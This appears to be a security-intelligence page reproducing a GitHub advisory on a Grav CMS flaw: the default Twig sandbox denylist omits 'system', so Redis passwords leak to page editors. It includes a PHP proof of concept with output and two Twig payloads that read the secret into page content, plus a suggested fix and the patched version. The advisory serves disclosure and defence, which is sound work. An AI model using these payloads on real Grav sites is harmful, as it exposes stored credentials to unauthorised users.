OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-76846: Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled

GitHub Advisories · officialPublished Sep 17, 2026Risk 37/100

## Summary `system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list (`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix. When an operator enables the documented, non-default `twig_content.config_access: true` setting (intended to safely expose low-sensitivity values like `site.title` to editor-authored Twig content), any real secret stored under `system.*` , for example `system.cache.redis.password` , is also exposed, both via `config.get(...)` and via `config.toArray()`, to any user with page-edit permission. This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist, but the shipped default denylist is incomplete. ## Environment used to verify - Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15` - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full `composer install --no-dev` run against the real repository (no mocked dependencies) so the actual `Grav\Common\Config\Config` and `Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly ## Commands run to set up the verification environment ```bash git clone https://github.com/getgrav/grav.git cd grav # install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd # composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction ``` ## Proof of Concept Confirmed the real, currently-shipped config field first, rather than assuming one: ```bash grep -n "redis" -A3 system/config/system.yaml # redis: # socket: false # password: # <- system.cache.redis.password, a real field # database: grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml # cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" # type: text ``` `sandbox_test.php` , loads the real classes via the real autoloader, no mocking of `Config` or `SandboxConfig` themselves: ```php <?php require 'vendor/autoload.php'; use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig; // Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK', ], ], ], 'plugins' => [ 'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ]; $config = new Config($configTree); // exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler']; $sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths); echo "plugins.someplugin.api_key: "; var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED')); echo "system.cache.redis.password: "; var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED')); print_r($sandboxConfig->toArray()); ``` Run: ```bash php sandbox_test.php ``` Output: ``` plugins.someplugin.api_key: string(8) "REDACTED" system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK" Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK ) ) ) [site] => Array ( [title] => My Site ) ) ``` `plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in full both via targeted `get()` and via bulk `toArray()`. ## Confirming the Twig-reachable path is real `system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s methods for use inside sandboxed page-content templates: ```yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists' ``` So, with `twig_content.process_enabled: true` and `twig_content.config_access: true` both set (both documented, operator-controlled settings), a page containing: ```twig {{ config.get('system.cache.redis.password') }} ``` or ```twig {{ config.toArray() }} ``` renders the real Redis password directly into the page output for any user with page-edit permission. ## Impact Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented `config_access` opt-in (intended only to expose things like `site.title`), exposes that Redis password , and potentially other future `system.*` secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings. ## Suggested fix Add `system` to the default `config_denied_paths` list in `system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under `system.*` doesn't silently bypass the sandbox by default. ## Affected component - `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value - `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its input; the gap is in the default list passed to it) ```

Upgrade affected packages to a patched version: getgrav/grav 2.0.16.

Vendor
Not specified
Product
getgrav/grav
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source